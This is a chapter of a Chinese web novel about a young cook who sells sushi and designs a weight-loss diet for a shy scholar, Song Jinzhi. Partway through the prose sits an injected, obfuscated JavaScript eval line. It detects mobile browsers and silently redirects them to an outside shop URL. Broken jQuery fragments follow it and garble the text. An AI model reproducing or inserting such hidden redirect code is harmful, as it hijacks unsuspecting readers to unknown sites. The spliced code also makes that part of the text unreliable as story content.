38. 玉茗寿司 蔬菜无米寿司
作品:《落魄将军与他的小厨娘》 “咦,这黑乎乎的是什么?”有人眼尖发现了摆在寿司旁的酱油碟。
却见一女子,嘴角挂着笑,眼底满是底气:“此为酱油,寿司团沾些更显风味。”
“那我们刚才岂不是吃错了?”男人嘴角的饭粒还未来得及擦下,端着碗里的寿司问她。
“是呀是呀。”
姜悦盈摇头:“里面的腊肠为我熏制半月有余,内含盐分,咸度已足够。只是沾酱则是本店新开发的吃饭。”
“那日长孙府的小姐们可并未试过此种吃法,诸位不妨来一试。”她浅笑嫣然,似微风吹过众人心口。
“好!我来。”一听是新鲜吃法,还正巧赶上了第一拨,人群又一阵骚乱。
“雪玉,这次多亏有了你。”姜悦盈看向她,笑得甜甜的:“若不是你爹愿意为我说书,我也不能一次能卖出这么多的寿司。”
“这有什么?法子也是你想的,我爹也就是动动嘴皮子,还能给春香坊招来些人气,岂不一举两得。”
雪玉看着人小,嘴倒是十分灵巧,嘟着嘴道:“那之后,我去了好几次观下的集市,都没寻到你,还是几个道士告知我,你已搬出道观。”
姜悦盈挠了挠头,不好意思的笑了下:“也是事出有因。”
雪玉虽听着,眼神却一直往那席面上的寿司瞟,晃了好几次,姜悦盈知道她是馋了,提出一盒来:“我的大功臣,喏,快吃。”
“也有我的份?”她眼睛亮亮的,也顾不上手干不干净,揭开食盖,看着比被刚才人们抢空的寿司还要可口。一卷长长的草叶上整齐摆着五个淡黄的小寿司,白白的米粒外裹着金黄炸脆,里面是湿湿软软的肉松。
她不自觉抿了下嘴唇,随机挑中一个用筷子夹起来,没曾想稍一使劲竟夹破了,看着掉在地上的寿司残渣,雪玉的脸一下歪成苦瓜:“白白浪费这么好的珍馐。”
她又试了一次,小小的寿司被整个吞进肚内,上颚是甜甜的沙拉酱,接着是黄瓜的清爽和肉松的咸香,一枚精致的小点心却能包罗好几种口感。
姜悦盈又掏出一小碟酱油,“你再试试沾酱味道如何?”
紫玉还是第一次见直接沾酱油下饭的,她半信半疑地沾了进去,小块的炸脆淹入黑色的汤汁,黄色的寿司被裹上一层黑色,闻着很腥。入口却是与之完全不同的味道,清香的饭粒顺着咸香的料汁,她挣大眼睛:“酱油还能这么吃!”
紫玉吃的是姜悦盈制蔬菜寿司,爽口下饭,比玉茗花寿司成本更低,姜悦盈在店内已备下多种寿司饭团,多人多味,腊肠蟹肉有人吃不惯,她便多做了些不同花样的。
“那我先回去,准备午后的买卖,今日怕是要来不少人呢,改日你可得带着你父亲来我食肆吃饭,我好好宴请一番。
“那是自然,我不和你客气。”雪玉笑得灿烂,送走她。
雪玉性情爽朗,难得真诚,她自幼随着爹到处漂泊,春香坊妈妈瞧上她的资质收留她住下,整日学些吹拉弹唱,十岁凭一曲《汉宫秋月》名满东都。春香坊为乐坊卖艺不卖身,待着倒也十分惬意,每晚只需弹奏两个时辰,她现下年纪小,对坊外之事好奇得很,黏姜悦盈黏得紧。
雪父确有几分神秘,每日在酒楼茶肆说书便能为此地赢得大拨人气,一张巧嘴不得不服。
这次可算是借着长孙凝的名声大出风头,再加上雪玉爹爹的大肆宣扬,香满居彻底在洛京出了名。姜悦盈也成了贵族世家眼中的香饽饽,纷纷都请她上门做席面庖厨。
有一人颇为神秘,借着上拜贴的名义邀她上门,特意嘱咐万事小心,不可声张,只许姜悦盈一人前来,不可带人。
“临福客栈?”她看了眼招牌,正是县主所住的地方,也是她被掳走之处。
姜悦盈给店小二看了眼拜贴,那人神色紧张,压着嗓子:“随我来。”并未带她去楼上的客栈雅间,而是顺着后院进来。
她心里装着疑惑,却未发问,只是跟着往前走,在最西边的一处院子停下,此处与整间宅院的风格、装潢差异极大,这里竟有些温馨之意。
门外摆着的是一株长得枝繁叶茂的蝴蝶兰,紫色的花骨朵长势喜人,及她腰身。临近年关,门上的符纸和桃树枝足以见得这人是要在此长住。
待她回过神,哪还见得店小二的身影,姜悦盈推开门,里面有一张巨大的书案,古籍塞满了足足两个柜子。
四下无人她又爬着楼梯上了二层,只瞧见一女子的背影背对着她。
“是宋娘子邀我来此的吗?”
那人缓缓回头,嘴角噙起一抹笑:“几月不见,连我都认不出了。”竟是文安,她一身女儿装打扮,与一贯的利索短袖胡服不大相同,雅致文静的背影倒让姜悦盈晃了神,没敢认。
“县主,你从京城回来了?”她激动得扑上去,抓住文安的袖子:“我往长安寄了两封信,都未收到答复,我还以为你嫁到……”
后面的话没说出口,但在场几人都明白。文安长舒一口气:“许是菩萨开恩,圣上没选中我,让一个旁支的小娘子嫁去了。“
文安心下窃喜却藏了丝自责,这桩婚事谁都不想落到自家头上,她的欢喜却是建立在别人的苦难之上。
“我还以为再也见不到你了!”
“那你今日叫我来所为何事?就为了叙旧?”姜悦悦和她寒暄了一阵,才想到拜帖的事。
“自有别的事要麻烦你。我可听说我不在的这几月,洛京的香满居挤破了门槛,那掌柜的正是如花似玉的姜家姑娘。”她挑眉轻笑,揶揄道。
“县主可不许折煞我了,你若有事,我自当全力配合。”姜悦盈脸上染了一层红晕。
“这倒不是我,是我一闺中挚友有所求。”
“哦?”
文安移开身子,床榻上竟有个大活人,女子把锦被埋在脸上,留意到她的眼神,这才慢慢探出个头。
他声音极小,出像蚊子叫般的音量:“我就是给你递信的宋娘子,我想着姜娘子厨艺一绝,神通广大,不知可否救救我?”
“嗯?”姜悦盈瞪大了眼睛,“我如何用厨艺救你呢?娘子慢慢讲讲可好。”
只见那宋娘子却又把脸埋进被褥内,许久未吱声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915232|188913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文安看不下去,便替她说:“宋锦之与我是闺中密友,她学识渊博,上到天文地理,下到市井诗文,样样精通。”
“只可惜为女子,不得为官谋职,索性在洛京开了家书院。”
只是,宋锦之痴迷书籍,常年静坐,又贪嗜甜食身形走样,被学子唾弃,渐渐的让她没了自信。整日更是躲在家内,日积月累,肥胖更甚。
姜悦盈听了很是生气,她眉眼带着怒意:“那书生学子来书院是为了读书科考,怎还挑上老师的理了?”
“为人师长,传道授业解惑才是本职,不必理会俗事言论。”
“真的?”宋锦之猛的一下从床榻上坐起,被她的话鼓舞了许多,却又像是想到了些什么,一下子像霜打了的茄子:“姜娘子果然不俗,县主没说错你,你如此有见地,能否让我减掉肚上的肥肉。”说到最后有些吞吐:“那郎中大夫都劝我少吃,可美食的诱惑我实在难以割舍,便出此下策,想请你帮我。”
这下明白了二人让她来的用意,她心里想了一下,便应下了这门差事。
姜悦盈缠着宋锦之问了些她的吃食喜好和作息习惯。
深夜,姜悦盈伏在书案,昏暗的油灯印在草纸上,她叼着根毛笔边想边写。
“宋娘子,年方二十,五尺三寸,百四五十斤,嗜甜。”
“一日三餐规律作息,酉时三刻后不许进食。”
“早膳,米汤鸡蛋卷。”
“午膳,蔬菜无米寿司,大鸡腿。”
“晚膳,核桃仁,果干,芝麻糊。”
“什么?我的下午茶也没有了,樱桃苏珊,毕罗还能吃吗?”宋锦之看着食谱,弱弱的问了句。
“午后喝茶照旧,但不可食用点心,一周可食用一次糕点。”
“啊!”宋锦之嘴角耷拉着,每日唯一的快乐酥山也被剥夺。
姜悦盈取出无米寿司卷,看着怪不错的,糯叽叽的红薯泥包着鸡蛋卷、腊肠和蔬菜,缝隙里还能看到丝丝孜然粒,圆滚滚的小团子,在日光的照耀下,十分有光泽感。
宋锦之咽了口唾沫,端着盘子,一连吃掉三个,这才空出口气,叫道:“好吃,好吃。”
“腊肠熏香鸡蛋饼咸香,搭配着红薯泥真是世间美味!”
一下子把姜悦盈准备的九个寿司卷全部下肚:“此物能让东都贵女为之疯狂,真是名不虚传。”
就这样,小螃蟹连着给她送了半个月餐食。只是看着她鼓鼓的肚子,非但没减,好似更圆了些。
文安皱着眉头,“吃得这么健康还没瘦下去?”
听到健康这两个字,宋景芝有些心虚的垂下头,眼神飘忽不定。
姜悦盈打量着他的神情。又想着小螃蟹和顾医师为他讲的脾胃上的调理,难不成是宋景之肠胃上有何毛病?
她将宋锦之的腹胀、乏力、面黄的症状描述给顾医师,配了副药方和减肥餐搭配着吃,每日早晨空腹煎熬黄芪党参,白术,山药炒菜菔子食用。
只是却还未见好转,这可把姜悦盈急坏了,直到酥山食肆内看到她的身影,一切都有了答案。

